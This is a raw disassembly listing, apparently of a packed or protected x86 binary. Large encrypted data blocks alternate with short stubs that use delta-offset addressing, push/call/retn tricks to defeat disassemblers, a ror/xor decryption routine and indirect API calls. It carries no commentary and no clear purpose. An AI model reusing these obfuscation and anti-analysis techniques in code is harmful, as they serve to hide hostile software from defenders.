		dd 0F0FC8DF4h, 99E2496Ah, 6E942384h, 988F73D1h,	507F02FAh
		dd 727FC143h, 46ED96C4h, 0E643233Ch, 84FE839Ch,	73CF3745h
		dd 303CE77Ah, 39F82F9Fh, 4AD9A8C3h, 0E9161F30h,	210AAB54h
		dd 4B7C1A8Dh, 0DE738867h, 7B2F25h, 45C30000h, 265C2D40h
		dd 0BE685BA4h, 0A74D7626h, 402C41BAh, 0ED819CE5h, 0F0829EF7h
		dd 0B6FF9E15h, 473E3647h, 0D99224C3h, 0A3DB3EE9h, 0D3BA3770h
		dd 76C921BDh, 0BF6A5389h, 3B40EB94h, 0EDDD2FAEh, 0B7C73E92h
		dd 0EBCCF2A0h, 4EC6EC82h, 2BC951h, 196D0000h, 0A152EB0Ah
		dd 699381FAh, 0C9331ED6h, 4D5A80B6h, 7FE16B29h,	3A876F1Dh
		dd 6CAE6F16h, 5F96517Bh, 0B9900B26h, 2Bh, 2D4045EBh, 85554441h
		dd 0A0D36CAEh, 84A1B211h, 74266CAEh, 0C7AFBE39h, 7DA87A25h
		dd 5CEF1518h, 0EE83F8A3h, 4EB7BACDh, 2C240033h,	246B7E74h
		dd 727FB76Ch, 19A8B9EBh, 7FB6A9AAh, 437C2E72h, 2841BC99h
		dd 93ACCA59h, 557809D3h, 727FB748h, 31E29DCFh, 0BBD8F786h
		dd 0F1727FB6h, 4210F08Bh, 0D26B8A91h, 8C025E12h, 0C73AD6FDh
		dd 0F0DD7850h, 30C1F784h, 8AB5C83Dh, 0D01793E2h, 5457E611h
		dd 876FFE79h, 50C7293Ah, 65F40378h, 3B50AC89h, 31F4422Bh
		dd 5B8A1C8Fh, 43BD5B9Ah, 0F0A64428h, 62735EE1h,	0E57850C7h
		dd 0C12B8CB7h, 0D45B762Ch, 0CDE96ABh, 0AE849481h, 0B361336Ch
		dd 7B5619F3h, 6CAE855Ah, 0E8F4AFFDh, 0EA0A190Ch, 8542537Eh
		dd 97C56CAEh, 0D773EE1h, 0E5CF3272h, 0C39EFD19h, 54751CE4h
		dd 0B7ED614Bh, 8E05E344h, 6CAD858Dh, 89AA580Ah,	4F051EA0h
		dd 5BFB52h, 197F0000h, 71DBEC0Ah, 581C053Bh, 133EC92h
		dd 0F5845549h, 0AE6DBDDEh, 8775A6Ch, 39EF7D71h,	0AA191E06h
		dd 6CAE84A9h, 6B2550DFh, 934C720Dh, 193F7725h, 0A152EB0Ah
		dd 3A454AA6h, 0A5D35E23h, 1743E98Ah, 4BB90Dh, 0E7B60000h
		dd 0AE84ABA8h, 6B7E2C6Ch, 0AE853724h, 0D182D06Ch, 78762C4Bh
		dd 0EAEBA669h, 6D6CAE84h, 1918043Fh, 915DEA0Ah,	8E5128CBh
		dd 183B56A3h, 0AE84A0BDh, 7E36E46Ch, 3A450B19h,	0A190323h
		dd 18C5DEAh, 6CAE8514h,	253EE1B3h, 0EB0A193Fh, 0D1409252h
		dd 23E1DBEAh, 17BA4F7Dh, 6CAD9606h, 520D381h, 5806CFFh
		dd 6CB21786h, 0D5489FE9h, 530C215Eh, 1E99B2C8h,	0B3B3CE37h
		dd 5C102D56h, 567D0CBBh, 6CB21845h, 0DFEF90C2h,	99B4C908h
		dd 7799351Eh, 2A9E514Ah, 92000000h, 402C3F45h, 0BDED48Ch
		dd 0F91AA978h, 9E6CAE84h, 78A813CCh, 0EE727FA4h, 8B5BF603h
		dd 0F8AA2ED1h, 0AB7A4CF4h, 0BC7F106Ah, 0EC0A1950h, 16C99353h
		dd 4A79F50Fh, 6CAE8549h, 6EE9CCEh, 0C9981672h, 7FA9F2FAh
		dd 0A9E49572h, 727FA9ACh, 8E47986h, 0F62C7E52h,	0EC4BB4E5h
		dd 77B0667Eh, 112B140h,	86728018h, 0F1E59D4h, 52DA8567h
		dd 6978762Ch, 0EC81FAh,	9C42D925h, 1DD16C91h, 488944Fh
		dd 533F4518h, 83591524h, 0E5CF51DDh, 4E063747h,	491C52h
		dd 0E64D0000h, 56DE8196h, 7A2FD19h, 0AA946AE0h,	138FCB89h
		dd 0EA0A1913h, 96ABD05Dh, 0A6B71AEDh, 216CAE84h, 0B193373h
		dd 3233A45h, 7FEFD19h, 859C8244h, 5B01ED80h, 6BF18AB5h
		dd 46B9h, 0A94CB600h, 118E1BD7h, 2C357F20h, 19347876h
		dd 0AE84A9AAh, 90A7DF6Ch, 3C4FB51Bh, 0B80CAA30h, 5A7F209Fh
		dd 0F6A96E1Ch, 41776A91h, 450B19EDh, 245E233Ah,	1AB6A69h
		dd 9A82BDECh, 6F2A5017h, 0BB4BA56Ah, 45D45003h,	0B9402C3Fh
		dd 23D4AAAh, 0B30608BBh, 0BBD4226Ch, 1A334EABh,	0FF1CB34Ah
		dd 986CB305h, 86A111CAh, 6B19304Fh, 1663CE7Fh, 0E0F16B7Bh
		dd 0B305B0ADh, 5A05576Ch, 69389D48h, 0ED54750Dh, 2DA05E7Ah
		dd 6CB2A930h, 53DA85D7h, 0EC431629h, 0D4C5FE93h, 5E984F9h
		dd 0FD1EB544h, 9A6CB2A8h, 0F70C17C8h, 6298975Ah, 0A8B6A7EAh
		dd 3516CB2h, 4BB4915Dh,	0FEAC3E36h, 6781FC5h, 0B8007ADFh
		dd 233E4739h, 71639943h, 9B82BD8Fh, 83ECCF62h, 514960EBh
		dd 78156EC5h, 2A8D47h, 45A10000h, 0B9402C3Fh, 84BADBF6h
		dd 0F5D6CAEh, 0EAE8A054h, 9860A8E7h, 0B5E7727Fh, 78AF19B9h
		dd 5FF00EE5h, 32AD597h,	6F4566F9h, 28533F45h, 504D4011h
		dd 0F76CAE85h, 7BFFF7A5h, 1D0A11Dh, 0AE849182h,	9564366Ch
		dd 0AE851D3Eh, 37E8BA6Ch, 0F8756130h, 2205E64h,	6C800B34h
		dd 0EB727F7Bh, 2C167EB9h, 4347876h, 2C3F4518h, 96A7D65Dh
		dd 0E5CF47EDh, 4E063747h, 341C52h, 2C100000h, 67745B76h
		dd 0E06CAE85h, 19A08CB2h, 9360D3FDh, 0EF909DEEh, 0F8A8B518h
		dd 7D2F6CADh, 450B1931h, 1703233Ah, 27B90Dh, 0BBB60000h
		dd 9943233Eh, 762CBEE6h, 0AA193478h, 6CAE84A9h,	197539EDh
		dd 965EEF0Ah, 0D334EABh, 45999752h, 1703233Ah, 2C3F450Dh
		dd 6C64540h, 90EC6CB3h,	0EE0EEBFBh, 9BED9559h, 88FEEA4Ch
		dd 0B25EA45Dh, 0A2383449h, 0AAD03BFCh, 3F19DD91h, 0FB13BE43h
		dd 6D728413h, 3E37C86h,	9341D626h, 61BAE8E0h, 0A6D42C56h
		dd 0FCEBE8A7h, 3E6C7283h, 0CB98C980h, 762C0C28h, 8363FE07h
		dd 988508D9h, 3F6CAE84h, 4F7BF6Dh, 2C3F4518h, 90ADD65Dh
		dd 0A1945EFh, 0D4965EEFh, 47A28A2Bh, 524E0637h,	361Ch
		dd 762C1000h, 0AA193478h, 6CAE84A9h, 0DA6D7C2Eh, 0AE84E6F7h
		dd 0BD10616Ch, 6CAE84A0h, 0B2477527h, 0AE84FE1Fh, 28CB996Ch
		dd 450B190Ch, 1703233Ah, 25B90Dh, 2CEB0000h, 67745B76h
		dd 0E06CAE85h, 19A08CB2h, 0AE84A9AAh, 7539ED6Ch, 3A450B19h
		dd 0AAD35E23h, 520DDF97h, 450D17CAh, 0B9402C3Fh, 324C4CAAh
		dd 0E17B6B19h, 634D73Eh, 37E6CB3h, 0A250EB15h, 7F1767C2h
		dd 0E68468FFh, 0DB6B3C30h, 0C8BEAA0Ch, 8D9EE41Dh, 0A6B9C32Ah
		dd 504E0ACEh, 3855A281h, 1D3E9534h, 0BA6CB306h,	4E193AE8h
		dd 84387343h, 65461472h, 78762C0Fh, 45180434h, 1524533Fh
		dd 51DD8359h, 8B42B8CFh, 0E6BD19C7h, 92258D5h, 50DC8765h
		dd 4E063747h, 3C1C52h, 19100000h, 0D22CEC0Ah, 137B5B9h
		dd 30C4FF6Dh, 19C8645Ah, 0ACF40BFDh, 0B7803E53h, 0A6B71AB3h
		dd 216CAE35h, 0D7924D73h, 0AE35DBF8h, 62E7C6Ch
		dd 3A450B19h, 0D170323h, 3FB9h,	5619EB00h, 0AE855A7Bh
		dd 0F4AFFD6Ch, 18148AC0h, 84A9AA19h, 50DF6CAEh,	75D112Ah
		dd 0D97838F6h, 5A052B9Fh, 4918E9BDh, 0ADAF597Ah, 0F3ACFE6Ch
		dd 450B19A9h, 1703233Ah, 88A3DD50h, 0D75D06E4h,	402C3F45h
		dd 0FD7BF6B9h, 0F5D88262h, 6CAE84E8h, 72023D6Fh, 0FAC99816h
		dd 727F8E3Ah, 8E8AF0DDh, 72EDC71h, 0DF8D61F8h, 92CE8E29h
		dd 21464D1Ch, 57785647h, 0BD81812Fh, 22DDD68Dh,	0EE81FBD6h
		dd 4EE11B06h, 1FFAEA98h, 7A514AE5h, 0CB9A6F00h,	567DD7C4h
		dd 3227078h, 0D28864F3h, 58823B21h, 3009146Fh, 0A78A62Dh
		dd 9D3D52D6h, 0FDD530E3h, 729A19BDh, 0D62D00D3h, 0D03DAF47h
		dd 9A19BDC3h, 0A3E81644h, 0C45CD51Fh, 26C1C1F2h, 21FA95EFh
		dd 0CA9FB0CAh, 6F071A67h, 8E47982h, 0E9F3AC52h,	965EF30Ch
		dd 457CAB3Fh, 0A08B2C3Fh, 3C2DC15Ah, 3,	45190B70h, 0DB462E3Dh
		dd 7BE68EA1h, 98856900h, 3A27CF5Ch, 65C0ACC1h, 84610D20h
		dd 230EE67Bh, 4CA945D4h, 0B2551932h, 102868h, 240C8900h
		dd 5E08950h, 4,	42Dh, 24048700h, 241C895Ch, 2B6D68h, 242C8900h
		dd 1974BD55h, 0E5C13D96h, 0A6CD8107h, 5349E966h, 525952BBh
		dd 5BDD011Bh, 3D5E581h,	0E58151F5h, 2772233h, 0B6C9C581h
		dd 0EB890596h, 2C8B545Dh, 4C48324h, 4EC81h, 1C890000h
		dd 8458F24h, 5D2434FFh,	8B04C483h, 8950241Ch, 405E0h, 0C0830000h
		dd 24048704h, 0BAC1E95Ch, 6348FFFAh, 0AA1FA414h, 6DBAD566h
		dd 0DD6BF4Eh, 0C0F8B80Dh, 0C50305D6h, 4E5EE0FFh, 22B12D6Ah
		dd 88246EB1h, 0CEEB0CF8h, 0CFD52D6Fh, 75ED580Ah, 0E02B3Fh
		dd 0C61F71C7h, 40762F79h, 11CA116Fh, 9DCA74EEh,	0C1964DB8h
		dd 0C1FA22B4h, 5FB84EE6h, 442553B3h, 0D05845D8h, 92D30103h
		dd 41930A04h, 8D8D66B3h, 5D6C2E3h, 0BBC08166h, 218D8947h
		dd 2905D110h, 0D11675BDh, 985C705h, 0A005D11Ch,	6A00006Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 5C3FC357h, 0A99D8BB4h, 0F05D121h,	198Dh
		dd 0CE96000h, 0F9000000h, 6929C187h, 6D712079h,	0F96E813h
		dd 88h,	85C76100h, 5D10679h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5C607B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C607B	proc near		; CODE XREF: ud2_____:005C6073p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5C607B	endp

; ---------------------------------------------------------------------------
		db 92h
		dd 86AF4F71h, 0DF5AF053h, 87D68176h, 8B0F7A13h,	0D11909BDh
		dd 0D9B5FF05h, 6A05D120h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0D6B0C356h,	914B7C8h
		dd 0D106158Dh, 0DD95FF05h, 0B805D10Eh, 553EB085h, 13E8h
		dd 0C5E68C00h, 995F41E4h, 13D5A992h, 4E7E9C50h,	87E2644Ah
		dd 0D8C0Fh, 8E90000h, 83000000h, 78BB96ADh, 58B81825h
		dd 95FF006Ah, 5D12459h,	2EEBC08Bh, 4C90EBA1h, 5243CAD9h
		dd 8543B374h, 0F9F58BD6h, 0C3BE1255h, 0AD9C7597h, 44B17EA9h
		dd 445DFE3Fh, 0D0718D5Bh, 0D9BBDh, 85827FC9h, 13E8493Fh
		dd 82000000h, 86DFAAFEh, 0F33A5103h, 0D34F6526h, 2A973238h
		dd 85BA06DFh, 5907216Fh, 0C22CEABFh, 0B7C1812Ah, 0E8000066h
		dd 8, 0AE1C6177h, 11DBF903h, 2B5FC28Bh,	8BFE8BF6h, 958B311Ch
		dd 5D11B35h, 0A079F381h, 8A0F40F5h, 5, 79770DBAh, 19C38164h
		dd 604C781Dh, 958BF18Bh, 5D11D29h, 0EAC38161h, 8B05A70Eh
		dd 311C89C1h, 5A52F88Bh, 8B02EE83h, 0D10B0595h,	804E4E05h
		dd 0FE8133F6h, 0FFFF99FCh, 0D850Fh, 30B20000h, 25E9h, 46113E00h
		dd 0F655AB6h, 488h, 65BA6600h, 0FF91E927h, 0B8ECFFFFh
		dd 783D39D7h, 9FEA7147h, 92D86E1h, 8D8DA5F8h, 5D6C4B5h
		dd 17810Fh, 840F0000h, 11h, 0CE9h, 0A477B000h, 83D94750h
		dd 0C2EF7C03h, 0D85297Ch, 8905D127h, 0D110218Dh, 0C5850B05h
		dd 0C705D11Dh, 0D11C0985h, 694C05h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0FEEAF651h
		dd 8B66E742h, 0F6F081FBh, 0C75D33FDh, 0D1067985h, 5, 0A9B5FF00h
		dd 6A05D114h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 9D36C350h, 1572D9E4h, 0E904B534h
		dd 11h,	14671AD9h, 6E23A9A8h, 0F6961EA1h, 69DF891h, 0DD95FFA3h
		dd 6A05D10Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 68D1C353h, 32099D89h, 6A05D1h
		dd 245995FFh, 0C08B05D1h, 65797EEBh, 9215E8E8h,	0B6B9CFADh
		dd 0A11D8C9Bh, 765EA833h, 7832EB3Bh, 0C74F99D2h, 1E529DACh
		dd 0A1BAD141h, 0FCC62632h, 0DFAB1533h, 71FDA791h, 57CF8BA0h
		dd 480798B8h, 51B5CB7Fh, 83D7E214h, 875F4F21h, 59330057h
		dd 0E1B1C535h, 530B03E0h, 0C7652E27h, 0DDC29642h, 6EFD72F1h
		dd 221DBF5Bh, 0DE44CA10h, 0A0627C48h, 8070DB12h, 0F9347965h
		dd 7B893C76h, 7833F1ACh, 6CB9C5EDh, 37E83AC4h, 9E8h, 0EE434600h
		dd 42D66AB7h, 59F5F64Fh, 0FBC9DFBAh, 0ACC18173h, 89000060h
		dd 0D11E398Dh, 33CEBB05h, 0EB81264Ah, 264A1BC1h, 226D8D89h
		dd 318B05D1h, 0FF51EE81h, 858B6BD0h, 5D10F2Dh, 9A16EE81h
		dd 0C6816943h, 111B7AC1h, 8A0F56F9h, 3,	8FC2BF0Fh, 0EA815001h
		dd 26DF02DAh, 7E98158h,	8153155Bh, 155B03C1h, 659D8953h
		dd 8305D127h, 850F01EBh, 0FFFFFFB6h, 87F08166h,	668D8D99h
		dd 6A05D6C6h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 4C8FC351h, 0FEDDF10Eh,	10218D89h
		dd 0B70F05D1h, 985C7D6h, 4C05D11Ch, 6A00005Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0DA07C351h, 7436998Bh, 0B34F20B7h, 0BFA6B8A6h, 85C760DFh
		dd 5D10679h, 0
; ---------------------------------------------------------------------------
		jl	loc_5C6459
		mov	di, ax


loc_5C6459:				; CODE XREF: ud2_____:005C6450j
		mov	[ebp+5D11451h],	eax
		push	dword ptr [ebp+5D11929h]
		call	dword ptr [ebp+5D10EDDh]
		push	0
		push	ebx
		call	sub_5C6476
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6476	proc near		; CODE XREF: ud2_____:005C646Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5C6476	endp

; ---------------------------------------------------------------------------
		pop	ebp
		push	0
		call	dword ptr [ebp+5D12459h]
		mov	eax, eax
		jmp	short loc_5C650D
; ---------------------------------------------------------------------------
		db 7Ch
		dd 0E90ED482h, 9CAF8572h, 844C0DAFh, 0EF014F03h, 94290271h
		dd 0B4330D74h, 0E05BB98Ah, 0A69284FDh, 0A2A99914h, 0C9E15873h
		dd 0A440FA8Eh, 0E3C52FFBh, 687EAE71h, 9BA3CE88h, 5A310FBBh
		dd 70B24566h, 8D13E011h, 169B1099h, 2AC62C9Bh, 2E301A78h
		dd 838DAD98h, 877BDAD7h, 0C9766C23h, 0A4192B45h, 46676C82h
		dd 72EF93Ch, 0B7E8BA0Eh, 3E3EB4h, 0E1B352D0h, 0DF9FE8D2h
		db 65h
; ---------------------------------------------------------------------------


loc_5C650D:				; CODE XREF: ud2_____:005C6491j
		lea	ecx, [ebp+5D6C7BBh]
		mov	edx, 485E01F1h
		mov	[ebp+5D11021h],	ecx
		push	0
		push	eax
		call	sub_5C6529
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6529	proc near		; CODE XREF: ud2_____:005C6521p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5C6529	endp

; ---------------------------------------------------------------------------
		db 0E9h, 0A7h, 85h
		dd 20E95C42h, 89C0C341h, 0D119C9B5h, 985C705h, 0A805D11Ch
		dd 66000062h, 8B2D76B8h, 7985C7C6h, 5D106h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 5437C353h, 10E9BD03h, 0B5FF05D1h,	5D11F91h
		dd 7199D8Bh, 858905D1h,	5D11F89h, 0EDD95FFh, 6A05D1h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0BD591C3h, 502B961Dh, 60A11824h, 7B8A17B9h, 6E831h
		dd 9CF20000h, 526BD180h, 918D89h, 615F05D1h, 95FF006Ah
		dd 5D12459h, 39EBC08Bh,	3C00DDBh, 5394F2Bh, 0F5DE7BF3h
		dd 21E0CFDEh, 9DD17ACEh, 0AB119DA5h, 3DECCE3Bh,	35A07B4Dh
		dd 0BCB8BBD6h, 9C3FB2DAh, 97F28A5Fh, 85A605EAh,	746E6C5Bh
		dd 0E2377D6Fh, 0BE828h,	18F80000h, 0C3338215h, 741B747Ah
		dd 10E89Ah, 0A9960000h,	1E266F1h, 0FD4CF404h, 0E1F16AD8h
		dd 0B52B9BA0h, 5D10969h, 0B58B5A5Eh, 5D132B1h, 6FFCC281h
		dd 0B5890000h, 5D106FDh, 1BD968h, 4EC88000h, 0ED9D8959h
		dd 8B05D102h, 2BBF511Ah, 5E71858Bh, 324FF381h, 0BF0F5038h
		dd 70EB81FFh, 891D29B6h, 0D112B1BDh, 54F38105h,	890757DDh
		dd 0D116D585h, 28F5305h, 57C68166h, 1EA838Bh, 4AC38B66h
		dd 95894A4Ah, 5D122E1h,	1E981h,	850F0000h, 0FFFFFFB3h
		dd 1B21BD8Bh, 8D8D05D1h, 5D6C981h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 1AC35040h, 0D3B70FB9h, 0E9FAB866h
		dd 10218D89h, 858905D1h, 5D1328Dh, 1C0985C7h, 6B4405D1h
		dd 0BB660000h, 85C71FB3h, 5D10679h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5C671B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C671B	proc near		; CODE XREF: ud2_____:005C6713p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5C671B	endp

; ---------------------------------------------------------------------------
		xor	dl, 85h
		das
		scasd
		inc	ax
		push	eax
		or	[ebp+5D1087Dh],	edx
		push	dword ptr [ebp+5D11571h]
		push	0
		push	ebx
		call	sub_5C674A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C674A	proc near		; CODE XREF: ud2_____:005C6742p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5C674A	endp

; ---------------------------------------------------------------------------
		popa
		xchg	edi, [ecx]
		call	dword ptr [ebp+5D10EDDh]
		push	0
		push	ecx
		call	sub_5C676E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C676E	proc near		; CODE XREF: ud2_____:005C6766p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5C676E	endp

; ---------------------------------------------------------------------------
		retf	3F80h
; ---------------------------------------------------------------------------
		db 0DAh, 0D3h, 95h
		dd 178F0F9Ch, 0E8000000h, 0Eh, 5C14FB1Bh, 0BA0F17Bh, 4F6371FEh
		dd 8B66C461h, 6A58F8h, 245995FFh, 0C08B05D1h, 9A543AEBh
		dd 0F53CE243h, 0AC811804h, 39CA8F57h, 0BC4E586Ah, 34078410h
		dd 0A33BEE3Fh, 20698E36h, 11A38CC1h, 487115B1h,	0EB8C09B9h
		dd 0C7E5879Dh, 0B8D4E4C2h, 726BB16Fh, 727FF99Fh, 0DE8h
		dd 2FBEC600h, 3DE8408Eh, 0C1B7CB11h, 8B660879h,	665358CAh
		dd 5A6083B9h, 6E8AC081h, 10E80000h, 77000000h, 275BB679h
		dd 0F8E7D7A6h, 0CD6BBAE3h, 106F31Ah, 0D111758Dh, 685A05h
		dd 56000000h, 0DE8h, 1F813D00h,	0F6FF06E1h, 0AE0D31B8h
		dd 5A595002h, 0CE9605Fh, 4A000000h, 46A30B33h, 9F296F60h
		dd 29BA7716h, 0D1167D9Dh, 1C8B6105h, 47BF6038h,	0F666AD9h
		dd 89h,	0C3816100h, 7388D127h, 10E9h, 0B7BE9E00h, 0D7B5193Ah
		dd 0BDA4822Ch, 8C981707h, 0BAF381C8h, 0E808CCF4h, 9, 0C648F8B6h
		dd 0A8F5D83Eh, 0E5958BA0h, 5905D120h, 80A7EB81h, 9D095BAFh
		dd 5D10DB5h, 0A1858953h, 8F05D115h, 0C6813804h,	33D38D02h
		dd 8E9h, 6E1BA600h, 0B2CFC069h,	1EF8302h, 1EE5B58Bh, 4F4F05D1h
		dd 69B5894Fh, 8105D11Dh, 0FF927CFFh, 73850FFFh,	57FFFFFFh
		dd 0F1850960h, 8B05D126h, 0D1307595h, 8D596105h, 0D6CB7F8Dh
		dd 719D8905h, 8905D114h, 0D110218Dh, 0F5B58B05h, 0C705D10Ch
		dd 0D11C0985h, 63D005h,	51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 422DC92Eh, 330B2374h
		dd 958933FAh, 5D1118Dh,	67985C7h, 5D1h,	8F0F0000h, 3, 0FFFBB70Fh
		dd 0D11571B5h, 6870F05h, 8B000000h, 0D1273995h,	8D295205h
		dd 5D10BC5h, 0DD95FF5Fh, 6A05D10Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 60FDC356h
		dd 17B9958Bh, 75B805D1h, 613197D4h, 95FF006Ah, 5D12459h
		dd 3AEBC08Bh, 32128186h, 39084239h, 9DB3CE98h, 1899055Fh
		dd 4C511DFCh, 6E74DF28h, 0E5E77AACh, 33FF6967h,	56C488AEh
		dd 0D37FA0E5h, 4D6156E8h, 958AE8F7h, 0D84B634Dh, 64DFD878h
		dd 5FE9EA21h, 52000001h, 0E860D48Bh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5D6CBCCh
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5C6B41
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 39F1FAAEh
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+5D11021h],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0FC707F9Dh
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+5D11C09h],	eax
		mov	eax, [edx+14h]
		mov	[ebp+5D10679h],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5C6B05
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5D120D9h]
		jmp	loc_5C6B19
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5D1116Dh]
		jmp	loc_5C6B19
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5D11571h]
		jmp	loc_5C6B19
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5D117D5h]
		jmp	loc_5C6B19
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5D13121h]
		jmp	loc_5C6B19
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5D11389h]
		jmp	loc_5C6B19
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5D115CDh]
		jmp	loc_5C6B19
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5D1274Dh]
		jmp	loc_5C6B19
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5D11DD1h]
		jmp	loc_5C6B19
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5D114A9h]
		jmp	loc_5C6B19
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5D132C5h]
		jmp	loc_5C6B19
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5D11BA9h]
		jmp	loc_5C6B19
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5D11F91h]
		jmp	loc_5C6B19
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5D106D9h]
		jmp	loc_5C6B19
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5D109E5h]
		jmp	loc_5C6B19
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5D11929h]
		jmp	loc_5C6B19
; ---------------------------------------------------------------------------


loc_5C6B05:				; CODE XREF: ud2_____:005C6A50j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+5D6CC2Dh]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5C6B19:				; CODE XREF: ud2_____:005C6A5Bj
					; ud2_____:005C6A66j ...
		call	dword ptr [ebp+5D10EDDh]
		pop	ebx


loc_5C6B20:				; CODE XREF: ud2_____:005C6B39j
		mov	eax, [ebp+5D11021h]
		cmp	[eax+4], ebx
		jnz	loc_5C6B3E
		push	ebx
		push	1
		call	dword ptr [ebp+5D12459h]
		pop	ebx
		jmp	loc_5C6B20
; ---------------------------------------------------------------------------


loc_5C6B3E:				; CODE XREF: ud2_____:005C6B29j
		popa
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_5C6B41:				; CODE XREF: ud2_____:005C6A03j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
; ---------------------------------------------------------------------------
		dw 858Bh
; ---------------------------------------------------------------------------
		dec	ecx
		sbb	eax, 8D8D05D1h
		sbb	ecx, ebp
		setalc
		add	eax, 8B014189h
		retn
; ---------------------------------------------------------------------------
		db 0C6h
		dd 0D124D985h, 0DF685605h, 0FFA9C530h, 0D124FDB5h, 0A1858D05h
		dd 0FF05D45Ch, 698D8DD0h, 5105D121h, 0B5FF406Ah, 5D10CFDh
		dd 2A5B5FFh, 0D0FF05D1h, 0CFDB5FFh, 0B5FF05D1h,	5D102A5h
		dd 9E8h, 0EA675000h, 46A25AB5h,	5F5FD281h, 0C104EF83h
		dd 0C102242Ch, 3022424h, 1CF7243Ch, 0FFD22B24h,	81593A34h
		dd 412AC8C1h, 3AE98146h, 8164ECABh, 8E13B4E9h, 170C894Ch
		dd 1FC9EA81h, 0C281744Eh, 744E1FC5h, 0F24143Bh,	0FFFFD285h
		dd 0B59D8DFFh, 8B05D10Bh, 0FC00B03h, 784h, 8B038B00h, 1889045Bh
		dd 0BE8C98Bh, 15000000h, 0D2E35080h, 0D338DA82h, 10E969F3h
		dd 0A9000000h, 593BEC2Ch, 0DF0E522Dh, 7587AD1Ah, 5F0D650Ch
		dd 0DFBF0F53h, 25C7815Bh, 66000067h, 3027D181h,	0C980C02Bh
		dd 3834FFF5h, 5A3EDF80h, 9BC98166h, 0F8EA8114h,	0E91D2EA7h
		dd 11h,	0D5D7F44Dh, 0F66191B1h,	0BCFC297Ah, 0FC4CC5BEh
		dd 94F28171h, 666208B5h, 81DC26BBh, 2980F5EAh, 8C0F5015h
		dd 14h,	0FE9h, 0BCFC2900h, 0FC4CC5BEh, 0D6843171h, 271F1774h
		dd 0CE81525Eh, 3990E254h, 0E907048Fh, 6, 6503D21h, 0E18121B8h
		dd 45EF93EEh, 0F01E883h, 0A86h,	5E900h,	0E480000h, 486D92D5h
		dd 81664848h, 81C9D6E6h, 0FF99E8F8h, 1D850FFFh,	0E9000000h
		dd 6, 9423EF63h, 35E9C8B6h, 42000000h, 0F6636211h, 0BC66E304h
		dd 48201A48h, 0D98B6660h, 6840Fh, 0D9810000h, 4EBE7736h
